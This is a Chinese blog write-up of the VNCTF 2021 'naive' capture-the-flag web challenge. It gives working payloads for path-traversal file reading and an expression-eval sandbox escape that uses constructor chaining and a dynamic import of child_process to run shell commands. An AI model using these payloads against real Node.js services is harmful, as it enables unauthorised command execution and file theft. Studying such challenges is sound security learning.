• [VNCTF 2021]naive题解


    [VNCTF 2021]naive

    出的很好的题目,学到了很多知识,其中感谢Y4大佬甩了一堆学习链接给我!!!

    考点:任意文件读取、逆向、ES6模式下动态加载模块

    eval路由存在代码执行,但是需要先通过addon.verify()函数的验证

    import pkg from 'expression-eval';
    const { eval: eval_, parse } = pkg;
    
    const addon = bindings("addon");
    
    app.use("/eval", (req, res) => {
      const e = req.body.e;
      const code = req.body.code;
      if (!e || !code) {
        res.send("wrong?");
        return;
      }
      try {
        if (addon.verify(code)) {
          res.send(String(eval_(parse(e)))); //代码执行
        } else {
          res.send("wrong?");
        }
      } catch (e) {
        console.log(e)
        res.send("wrong?");
      }
    });
    

    source路由存在任意文件读取,但是不可以直接读取flag文件

    app.use("/source", (req, res) => {
      let p = req.query.path || file;
      p = path.resolve(path.dirname(file), p);
      if (p.includes("flag")) {
        res.send("no flag!");
      } else {
        res.sendFile(p);
      }
    });
    

    通过查找文档:http://nodejs.cn/api/addons.html ,可以找到addon.node模块存在的位置

    然后通过source路由读取,Payload:?path=../build/Release/addon.node读取到addon程序,然后交给了逆向大佬去逆向(为大佬打call!!!),获得验证码yoshino-s_want_a_gf,qq1735439536

    接着想办法去执行命令,查看文档:https://github.com/q269384828/expression-eval ,发现存在可以代码执行的方式

    于是开始尝试代码执行,这里解释一下用了两个constructor,第一个返回到String,第二个返回到Function才可以导入模块

    Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return require('child_process').execSync('ls');")()

    但是直接报错wrong?,根据源码查看应该是执行异常跳出的。这是上了一个新的Hint:仔细阅读package.json哦,返回去查看package.json中的内容

    {
        "name": "name",
        "version": "0.1.1",
        "description": "Description",
        "private": true,
        "main": "src/index.js",
        "type": "module",
        "scripts": {
            "start": "node src/index.js",
            "build:native": "node-gyp rebuild",
            "build:native:dev": "node-gyp rebuild --debug"
        },
        "dependencies": {
            "bindings": "^1.5.0",
            "express": "^4.17.1",
            "expression-eval": "^4.0.0",
            "node-addon-api": "^3.0.2",
            "seval": "^2.0.1"
        },
        "devDependencies": {
            "@types/express": "^4.17.8",
            "@types/node": "^14.10.1",
            "node-gyp": "^7.1.2",
            "prettier": "^2.0.5"
        }
    }
    

    重点是这个"type": "module"参数,通过查看文档:http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html ,知道了这里采用的是ES6模块,不可以使用require导入,这就是前面代码执行异常的原因

    既然知道了ES6模块是使用import导入就可以继续写了,同时在文档:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules ,找到了import导入后的执行方法

    Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./1.js')});")()

    因为没有回显所以还需要使用source路由读取1.js的内容,url/source?path=../1.js

    还有另外一种方式

    app.use(express.static("static"));
    

    源码中存在这句,意思是将static文件夹设置静态文件目录,可以在url后面直接加上文件名进行访问

    Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./static/1.js')});")()

    访问url/1.js

  • 相关阅读:
    windows常用命令
    Qt 添加 QtNetwork 库文件
    LoadLibrary加载动态库失败
    C++11 Function 使用场景
    编程书籍集
    代码重构例集
    多重循环编码规范
    vim 命令学习(基础篇)
    QT构建窗体(父窗体传为野指针)异常案例
    JAVA_SE基础——26.[深入解析]局部变量与成员变量的差别
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/14537037.html
Copyright © 2020-2023  润新知